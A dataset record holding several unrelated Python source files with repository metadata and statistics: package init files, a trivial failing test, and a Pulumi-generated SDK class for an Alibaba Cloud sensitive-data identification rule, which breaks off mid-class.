1,785
58
71
30.775862
0.769167
0.02521
0
0.807692
1
0
0.076525
0
0
0
0
0
0
1
0
false
0
0.019231
0
0.076923
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
6cb2552f1720c66746a39ef328bf44618c1c6024
168
py
Python
lib/python/treadmill/trace/app/__init__.py
bretttegartms/treadmill
53878403e22a1bcd7fe5c11dfc2b93a441117d20
[ "Apache-2.0" ]
133
2016-09-15T13:36:12.000Z
2021-01-18T06:29:13.000Z
lib/python/treadmill/trace/app/__init__.py
bretttegartms/treadmill
53878403e22a1bcd7fe5c11dfc2b93a441117d20
[ "Apache-2.0" ]
108
2016-12-28T23:41:27.000Z
2020-03-05T21:20:37.000Z
lib/python/treadmill/trace/app/__init__.py
bretttegartms/treadmill
53878403e22a1bcd7fe5c11dfc2b93a441117d20
[ "Apache-2.0" ]
69
2016-09-23T20:38:58.000Z
2020-11-11T02:31:21.000Z
"""App trace. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals
21
39
0.839286
21
168
5.809524
0.52381
0.327869
0.52459
0
0
0
0
0
0
0
0
0
0.119048
168
7
40
24
0.824324
0.059524
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0.25
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9f27c1ed86e83a066d569783ac45eb056989b1bf
68
py
Python
tests/tests_shonenbat.py
gabrielmontagne/shonenbat
c307944d8c81fd65e0b5e7e1f41235e76e15d173
[ "MIT" ]
null
null
null
tests/tests_shonenbat.py
gabrielmontagne/shonenbat
c307944d8c81fd65e0b5e7e1f41235e76e15d173
[ "MIT" ]
null
null
null
tests/tests_shonenbat.py
gabrielmontagne/shonenbat
c307944d8c81fd65e0b5e7e1f41235e76e15d173
[ "MIT" ]
null
null
null
from context import shonenbat def test_fail(): assert False, 'x_x'
17
36
0.764706
11
68
4.545455
0.909091
0
0
0
0
0
0
0
0
0
0
0
0.147059
68
3
37
22.666667
0.862069
0
0
0
0
0
0.044118
0
0
0
0
0
0.5
1
0.5
true
0
0.5
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
1
0
1
0
0
7
9f355cf257131b785664e4710dddbd7911913483
289
py
Python
piston/commands/__init__.py
b1nslashsh/piston-cli
9ad4af4324467f8ffb56592be392dae0ce8bcf6c
[ "MIT" ]
35
2021-01-25T04:28:44.000Z
2022-01-30T05:32:15.000Z
piston/commands/__init__.py
b1nslashsh/piston-cli
9ad4af4324467f8ffb56592be392dae0ce8bcf6c
[ "MIT" ]
40
2021-01-25T07:18:35.000Z
2021-11-17T07:18:19.000Z
piston/commands/__init__.py
b1nslashsh/piston-cli
9ad4af4324467f8ffb56592be392dae0ce8bcf6c
[ "MIT" ]
14
2021-02-15T20:24:11.000Z
2022-02-27T16:06:40.000Z
from piston.commands.file import run_file # noqa: F401 from piston.commands.input import user_input # noqa: F401 from piston.commands.link import run_link # noqa: F401 from piston.commands.shell import Shell # noqa: F401 from piston.commands.theme_list import theme_list # noqa: F401
48.166667
63
0.792388
45
289
4.977778
0.311111
0.223214
0.401786
0.321429
0.464286
0
0
0
0
0
0
0.060241
0.138408
289
5
64
57.8
0.839357
0.186851
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9f6ccc2f956e1df7e04fa8cc39fd542e5be94a29
37,748
py
Python
sdk/python/pulumi_alicloud/sddp/rule.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
42
2019-03-18T06:34:37.000Z
2022-03-24T07:08:57.000Z
sdk/python/pulumi_alicloud/sddp/rule.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
152
2019-04-15T21:03:44.000Z
2022-03-29T18:00:57.000Z
sdk/python/pulumi_alicloud/sddp/rule.py
pulumi/pulumi-alicloud
9c34d84b4588a7c885c6bec1f03b5016e5a41683
[ "ECL-2.0", "Apache-2.0" ]
3
2020-08-26T17:30:07.000Z
2021-07-05T01:37:45.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['RuleArgs', 'Rule'] @pulumi.input_type class RuleArgs: def __init__(__self__, *, category: pulumi.Input[int], content: pulumi.Input[str], rule_name: pulumi.Input[str], content_category: Optional[pulumi.Input[str]] = None, custom_type: Optional[pulumi.Input[int]] = None, description: Optional[pulumi.Input[str]] = None, lang: Optional[pulumi.Input[str]] = None, product_code: Optional[pulumi.Input[str]] = None, product_id: Optional[pulumi.Input[str]] = None, risk_level_id: Optional[pulumi.Input[str]] = None, rule_type: Optional[pulumi.Input[int]] = None, stat_express: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[int]] = None, target: Optional[pulumi.Input[str]] = None, warn_level: Optional[pulumi.Input[int]] = None): """ The set of arguments for constructing a Rule resource. :param pulumi.Input[int] category: Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. :param pulumi.Input[str] content: Sensitive Data Identification Rules the Content. :param pulumi.Input[str] rule_name: Sensitive Data Identification Name of the Rule. :param pulumi.Input[str] content_category: The Content Classification. :param pulumi.Input[int] custom_type: Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. :param pulumi.Input[str] description: Sensitive Data Identification a Description of the Rule Information. :param pulumi.Input[str] lang: The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. :param pulumi.Input[str] product_code: Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). :param pulumi.Input[str] product_id: Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. :param pulumi.Input[str] risk_level_id: Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. :param pulumi.Input[int] rule_type: Rule Type. :param pulumi.Input[str] stat_express: Triggered the Alarm Conditions. :param pulumi.Input[int] status: Sensitive Data Identification Rules Detection State of. :param pulumi.Input[str] target: The Target of rule. :param pulumi.Input[int] warn_level: The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ pulumi.set(__self__, "category", category) pulumi.set(__self__, "content", content) pulumi.set(__self__, "rule_name", rule_name) if content_category is not None: pulumi.set(__self__, "content_category", content_category) if custom_type is not None: pulumi.set(__self__, "custom_type", custom_type) if description is not None: pulumi.set(__self__, "description", description) if lang is not None: pulumi.set(__self__, "lang", lang) if product_code is not None: pulumi.set(__self__, "product_code", product_code) if product_id is not None: pulumi.set(__self__, "product_id", product_id) if risk_level_id is not None: pulumi.set(__self__, "risk_level_id", risk_level_id) if rule_type is not None: pulumi.set(__self__, "rule_type", rule_type) if stat_express is not None: pulumi.set(__self__, "stat_express", stat_express) if status is not None: pulumi.set(__self__, "status", status) if target is not None: pulumi.set(__self__, "target", target) if warn_level is not None: pulumi.set(__self__, "warn_level", warn_level) @property @pulumi.getter def category(self) -> pulumi.Input[int]: """ Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. """ return pulumi.get(self, "category") @category.setter def category(self, value: pulumi.Input[int]): pulumi.set(self, "category", value) @property @pulumi.getter def content(self) -> pulumi.Input[str]: """ Sensitive Data Identification Rules the Content. """ return pulumi.get(self, "content") @content.setter def content(self, value: pulumi.Input[str]): pulumi.set(self, "content", value) @property @pulumi.getter(name="ruleName") def rule_name(self) -> pulumi.Input[str]: """ Sensitive Data Identification Name of the Rule. """ return pulumi.get(self, "rule_name") @rule_name.setter def rule_name(self, value: pulumi.Input[str]): pulumi.set(self, "rule_name", value) @property @pulumi.getter(name="contentCategory") def content_category(self) -> Optional[pulumi.Input[str]]: """ The Content Classification. """ return pulumi.get(self, "content_category") @content_category.setter def content_category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content_category", value) @property @pulumi.getter(name="customType") def custom_type(self) -> Optional[pulumi.Input[int]]: """ Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. """ return pulumi.get(self, "custom_type") @custom_type.setter def custom_type(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "custom_type", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ Sensitive Data Identification a Description of the Rule Information. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def lang(self) -> Optional[pulumi.Input[str]]: """ The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. """ return pulumi.get(self, "lang") @lang.setter def lang(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "lang", value) @property @pulumi.getter(name="productCode") def product_code(self) -> Optional[pulumi.Input[str]]: """ Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). """ return pulumi.get(self, "product_code") @product_code.setter def product_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "product_code", value) @property @pulumi.getter(name="productId") def product_id(self) -> Optional[pulumi.Input[str]]: """ Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. """ return pulumi.get(self, "product_id") @product_id.setter def product_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "product_id", value) @property @pulumi.getter(name="riskLevelId") def risk_level_id(self) -> Optional[pulumi.Input[str]]: """ Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. """ return pulumi.get(self, "risk_level_id") @risk_level_id.setter def risk_level_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "risk_level_id", value) @property @pulumi.getter(name="ruleType") def rule_type(self) -> Optional[pulumi.Input[int]]: """ Rule Type. """ return pulumi.get(self, "rule_type") @rule_type.setter def rule_type(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "rule_type", value) @property @pulumi.getter(name="statExpress") def stat_express(self) -> Optional[pulumi.Input[str]]: """ Triggered the Alarm Conditions. """ return pulumi.get(self, "stat_express") @stat_express.setter def stat_express(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "stat_express", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[int]]: """ Sensitive Data Identification Rules Detection State of. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "status", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The Target of rule. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @property @pulumi.getter(name="warnLevel") def warn_level(self) -> Optional[pulumi.Input[int]]: """ The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ return pulumi.get(self, "warn_level") @warn_level.setter def warn_level(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "warn_level", value) @pulumi.input_type class _RuleState: def __init__(__self__, *, category: Optional[pulumi.Input[int]] = None, content: Optional[pulumi.Input[str]] = None, content_category: Optional[pulumi.Input[str]] = None, custom_type: Optional[pulumi.Input[int]] = None, description: Optional[pulumi.Input[str]] = None, lang: Optional[pulumi.Input[str]] = None, product_code: Optional[pulumi.Input[str]] = None, product_id: Optional[pulumi.Input[str]] = None, risk_level_id: Optional[pulumi.Input[str]] = None, rule_name: Optional[pulumi.Input[str]] = None, rule_type: Optional[pulumi.Input[int]] = None, stat_express: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[int]] = None, target: Optional[pulumi.Input[str]] = None, warn_level: Optional[pulumi.Input[int]] = None): """ Input properties used for looking up and filtering Rule resources. :param pulumi.Input[int] category: Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. :param pulumi.Input[str] content: Sensitive Data Identification Rules the Content. :param pulumi.Input[str] content_category: The Content Classification. :param pulumi.Input[int] custom_type: Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. :param pulumi.Input[str] description: Sensitive Data Identification a Description of the Rule Information. :param pulumi.Input[str] lang: The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. :param pulumi.Input[str] product_code: Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). :param pulumi.Input[str] product_id: Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. :param pulumi.Input[str] risk_level_id: Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. :param pulumi.Input[str] rule_name: Sensitive Data Identification Name of the Rule. :param pulumi.Input[int] rule_type: Rule Type. :param pulumi.Input[str] stat_express: Triggered the Alarm Conditions. :param pulumi.Input[int] status: Sensitive Data Identification Rules Detection State of. :param pulumi.Input[str] target: The Target of rule. :param pulumi.Input[int] warn_level: The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ if category is not None: pulumi.set(__self__, "category", category) if content is not None: pulumi.set(__self__, "content", content) if content_category is not None: pulumi.set(__self__, "content_category", content_category) if custom_type is not None: pulumi.set(__self__, "custom_type", custom_type) if description is not None: pulumi.set(__self__, "description", description) if lang is not None: pulumi.set(__self__, "lang", lang) if product_code is not None: pulumi.set(__self__, "product_code", product_code) if product_id is not None: pulumi.set(__self__, "product_id", product_id) if risk_level_id is not None: pulumi.set(__self__, "risk_level_id", risk_level_id) if rule_name is not None: pulumi.set(__self__, "rule_name", rule_name) if rule_type is not None: pulumi.set(__self__, "rule_type", rule_type) if stat_express is not None: pulumi.set(__self__, "stat_express", stat_express) if status is not None: pulumi.set(__self__, "status", status) if target is not None: pulumi.set(__self__, "target", target) if warn_level is not None: pulumi.set(__self__, "warn_level", warn_level) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[int]]: """ Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. """ return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "category", value) @property @pulumi.getter def content(self) -> Optional[pulumi.Input[str]]: """ Sensitive Data Identification Rules the Content. """ return pulumi.get(self, "content") @content.setter def content(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content", value) @property @pulumi.getter(name="contentCategory") def content_category(self) -> Optional[pulumi.Input[str]]: """ The Content Classification. """ return pulumi.get(self, "content_category") @content_category.setter def content_category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content_category", value) @property @pulumi.getter(name="customType") def custom_type(self) -> Optional[pulumi.Input[int]]: """ Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. """ return pulumi.get(self, "custom_type") @custom_type.setter def custom_type(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "custom_type", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ Sensitive Data Identification a Description of the Rule Information. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def lang(self) -> Optional[pulumi.Input[str]]: """ The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. """ return pulumi.get(self, "lang") @lang.setter def lang(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "lang", value) @property @pulumi.getter(name="productCode") def product_code(self) -> Optional[pulumi.Input[str]]: """ Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). """ return pulumi.get(self, "product_code") @product_code.setter def product_code(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "product_code", value) @property @pulumi.getter(name="productId") def product_id(self) -> Optional[pulumi.Input[str]]: """ Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. """ return pulumi.get(self, "product_id") @product_id.setter def product_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "product_id", value) @property @pulumi.getter(name="riskLevelId") def risk_level_id(self) -> Optional[pulumi.Input[str]]: """ Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. """ return pulumi.get(self, "risk_level_id") @risk_level_id.setter def risk_level_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "risk_level_id", value) @property @pulumi.getter(name="ruleName") def rule_name(self) -> Optional[pulumi.Input[str]]: """ Sensitive Data Identification Name of the Rule. """ return pulumi.get(self, "rule_name") @rule_name.setter def rule_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "rule_name", value) @property @pulumi.getter(name="ruleType") def rule_type(self) -> Optional[pulumi.Input[int]]: """ Rule Type. """ return pulumi.get(self, "rule_type") @rule_type.setter def rule_type(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "rule_type", value) @property @pulumi.getter(name="statExpress") def stat_express(self) -> Optional[pulumi.Input[str]]: """ Triggered the Alarm Conditions. """ return pulumi.get(self, "stat_express") @stat_express.setter def stat_express(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "stat_express", value) @property @pulumi.getter def status(self) -> Optional[pulumi.Input[int]]: """ Sensitive Data Identification Rules Detection State of. """ return pulumi.get(self, "status") @status.setter def status(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "status", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The Target of rule. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @property @pulumi.getter(name="warnLevel") def warn_level(self) -> Optional[pulumi.Input[int]]: """ The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ return pulumi.get(self, "warn_level") @warn_level.setter def warn_level(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "warn_level", value) class Rule(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, category: Optional[pulumi.Input[int]] = None, content: Optional[pulumi.Input[str]] = None, content_category: Optional[pulumi.Input[str]] = None, custom_type: Optional[pulumi.Input[int]] = None, description: Optional[pulumi.Input[str]] = None, lang: Optional[pulumi.Input[str]] = None, product_code: Optional[pulumi.Input[str]] = None, product_id: Optional[pulumi.Input[str]] = None, risk_level_id: Optional[pulumi.Input[str]] = None, rule_name: Optional[pulumi.Input[str]] = None, rule_type: Optional[pulumi.Input[int]] = None, stat_express: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[int]] = None, target: Optional[pulumi.Input[str]] = None, warn_level: Optional[pulumi.Input[int]] = None, __props__=None): """ Provides a Data Security Center Rule resource. For information about Data Security Center Rule and how to use it, see [What is Rule](https://help.aliyun.com/product/88674.html). > **NOTE:** Available in v1.132.0+. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud default = alicloud.sddp.Rule("default", category=0, content="content", product_code="ODPS", risk_level_id="4", rule_name="rule_name") ``` ## Import Data Security Center Rule can be imported using the id, e.g. ```sh $ pulumi import alicloud:sddp/rule:Rule example <id> ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[int] category: Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. :param pulumi.Input[str] content: Sensitive Data Identification Rules the Content. :param pulumi.Input[str] content_category: The Content Classification. :param pulumi.Input[int] custom_type: Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. :param pulumi.Input[str] description: Sensitive Data Identification a Description of the Rule Information. :param pulumi.Input[str] lang: The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. :param pulumi.Input[str] product_code: Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). :param pulumi.Input[str] product_id: Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. :param pulumi.Input[str] risk_level_id: Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. :param pulumi.Input[str] rule_name: Sensitive Data Identification Name of the Rule. :param pulumi.Input[int] rule_type: Rule Type. :param pulumi.Input[str] stat_express: Triggered the Alarm Conditions. :param pulumi.Input[int] status: Sensitive Data Identification Rules Detection State of. :param pulumi.Input[str] target: The Target of rule. :param pulumi.Input[int] warn_level: The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ ... @overload def __init__(__self__, resource_name: str, args: RuleArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Provides a Data Security Center Rule resource. For information about Data Security Center Rule and how to use it, see [What is Rule](https://help.aliyun.com/product/88674.html). > **NOTE:** Available in v1.132.0+. ## Example Usage Basic Usage ```python import pulumi import pulumi_alicloud as alicloud default = alicloud.sddp.Rule("default", category=0, content="content", product_code="ODPS", risk_level_id="4", rule_name="rule_name") ``` ## Import Data Security Center Rule can be imported using the id, e.g. ```sh $ pulumi import alicloud:sddp/rule:Rule example <id> ``` :param str resource_name: The name of the resource. :param RuleArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(RuleArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, category: Optional[pulumi.Input[int]] = None, content: Optional[pulumi.Input[str]] = None, content_category: Optional[pulumi.Input[str]] = None, custom_type: Optional[pulumi.Input[int]] = None, description: Optional[pulumi.Input[str]] = None, lang: Optional[pulumi.Input[str]] = None, product_code: Optional[pulumi.Input[str]] = None, product_id: Optional[pulumi.Input[str]] = None, risk_level_id: Optional[pulumi.Input[str]] = None, rule_name: Optional[pulumi.Input[str]] = None, rule_type: Optional[pulumi.Input[int]] = None, stat_express: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[int]] = None, target: Optional[pulumi.Input[str]] = None, warn_level: Optional[pulumi.Input[int]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = RuleArgs.__new__(RuleArgs) if category is None and not opts.urn: raise TypeError("Missing required property 'category'") __props__.__dict__["category"] = category if content is None and not opts.urn: raise TypeError("Missing required property 'content'") __props__.__dict__["content"] = content __props__.__dict__["content_category"] = content_category __props__.__dict__["custom_type"] = custom_type __props__.__dict__["description"] = description __props__.__dict__["lang"] = lang __props__.__dict__["product_code"] = product_code __props__.__dict__["product_id"] = product_id __props__.__dict__["risk_level_id"] = risk_level_id if rule_name is None and not opts.urn: raise TypeError("Missing required property 'rule_name'") __props__.__dict__["rule_name"] = rule_name __props__.__dict__["rule_type"] = rule_type __props__.__dict__["stat_express"] = stat_express __props__.__dict__["status"] = status __props__.__dict__["target"] = target __props__.__dict__["warn_level"] = warn_level super(Rule, __self__).__init__( 'alicloud:sddp/rule:Rule', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, category: Optional[pulumi.Input[int]] = None, content: Optional[pulumi.Input[str]] = None, content_category: Optional[pulumi.Input[str]] = None, custom_type: Optional[pulumi.Input[int]] = None, description: Optional[pulumi.Input[str]] = None, lang: Optional[pulumi.Input[str]] = None, product_code: Optional[pulumi.Input[str]] = None, product_id: Optional[pulumi.Input[str]] = None, risk_level_id: Optional[pulumi.Input[str]] = None, rule_name: Optional[pulumi.Input[str]] = None, rule_type: Optional[pulumi.Input[int]] = None, stat_express: Optional[pulumi.Input[str]] = None, status: Optional[pulumi.Input[int]] = None, target: Optional[pulumi.Input[str]] = None, warn_level: Optional[pulumi.Input[int]] = None) -> 'Rule': """ Get an existing Rule resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[int] category: Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. :param pulumi.Input[str] content: Sensitive Data Identification Rules the Content. :param pulumi.Input[str] content_category: The Content Classification. :param pulumi.Input[int] custom_type: Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. :param pulumi.Input[str] description: Sensitive Data Identification a Description of the Rule Information. :param pulumi.Input[str] lang: The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. :param pulumi.Input[str] product_code: Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). :param pulumi.Input[str] product_id: Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. :param pulumi.Input[str] risk_level_id: Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. :param pulumi.Input[str] rule_name: Sensitive Data Identification Name of the Rule. :param pulumi.Input[int] rule_type: Rule Type. :param pulumi.Input[str] stat_express: Triggered the Alarm Conditions. :param pulumi.Input[int] status: Sensitive Data Identification Rules Detection State of. :param pulumi.Input[str] target: The Target of rule. :param pulumi.Input[int] warn_level: The Level of Risk. Valid values: * `1`: Weak warn Level. * `2`: Medium Risk Level. * `3`: High Risk Level. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _RuleState.__new__(_RuleState) __props__.__dict__["category"] = category __props__.__dict__["content"] = content __props__.__dict__["content_category"] = content_category __props__.__dict__["custom_type"] = custom_type __props__.__dict__["description"] = description __props__.__dict__["lang"] = lang __props__.__dict__["product_code"] = product_code __props__.__dict__["product_id"] = product_id __props__.__dict__["risk_level_id"] = risk_level_id __props__.__dict__["rule_name"] = rule_name __props__.__dict__["rule_type"] = rule_type __props__.__dict__["stat_express"] = stat_express __props__.__dict__["status"] = status __props__.__dict__["target"] = target __props__.__dict__["warn_level"] = warn_level return Rule(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def category(self) -> pulumi.Output[int]: """ Sensitive Data Identification Rules for the Type of. Valid values: * `0`: Keyword. * `2`: Regular expression. """ return pulumi.get(self, "category") @property @pulumi.getter def content(self) -> pulumi.Output[str]: """ Sensitive Data Identification Rules the Content. """ return pulumi.get(self, "content") @property @pulumi.getter(name="contentCategory") def content_category(self) -> pulumi.Output[str]: """ The Content Classification. """ return pulumi.get(self, "content_category") @property @pulumi.getter(name="customType") def custom_type(self) -> pulumi.Output[int]: """ Sensitive Data Identification Rules of Type. Valid values: * `0`: the Built-in. * `1`: The User-Defined. """ return pulumi.get(self, "custom_type") @property @pulumi.getter def description(self) -> pulumi.Output[Optional[str]]: """ Sensitive Data Identification a Description of the Rule Information. """ return pulumi.get(self, "description") @property @pulumi.getter def lang(self) -> pulumi.Output[Optional[str]]: """ The Request and Receive the Language of the Message Type. Valid values: * `zh`: Chinese. * `en`: English. """ return pulumi.get(self, "lang") @property @pulumi.getter(name="productCode") def product_code(self) -> pulumi.Output[Optional[str]]: """ Product Code. Valid values: `OSS`,`RDS`,`ODPS`(MaxCompute). """ return pulumi.get(self, "product_code") @property @pulumi.getter(name="productId") def product_id(self) -> pulumi.Output[Optional[str]]: """ Product ID. Valid values: * `1`:MaxCompute * `2`:OSS * `5`:RDS. """ return pulumi.get(self, "product_id") @property @pulumi.getter(name="riskLevelId") def risk_level_id(self) -> pulumi.Output[Optional[str]]: """ Sensitive Data Identification Rules of Risk Level ID. Valid values: * `2`:S1, Weak Risk Level. * `3`:S2, Medium Risk Level. * `4`:S3 High Risk Level. * `5`:S4, the Highest Risk Level. """ return pulumi.get(self, "risk_level_id") @property @pulumi.getter(name="ruleName") def rule_name(self) -> pulumi.Output[str]: """ Sensitive Data Identification Name of the Rule. """ return pulumi.get(self, "rule_name") @property @pulumi.getter(name="ruleType") def rule_type(self) -> pulumi.Output[Optional[int]]: """ Rule Type. """ return pulumi.get(self, "rule_type") @property @pulumi.getter(name="statExpress") def stat_express(self) -> pulumi.Output[Optional[str]]: """ Triggered the Alarm Conditions. """ return pulumi.get(self, "stat_express") @property @pulumi.getter def status(self) -> pulumi.Output[int]: """ Sensitive Data Identification Rules Detection State of. """ return pulumi.get(self, "status") @property @pulumi.getter def target(self) -> pulumi.Output[Optional[str]]: """ The Target of rule. """ return pulumi.get(self, "target") @property 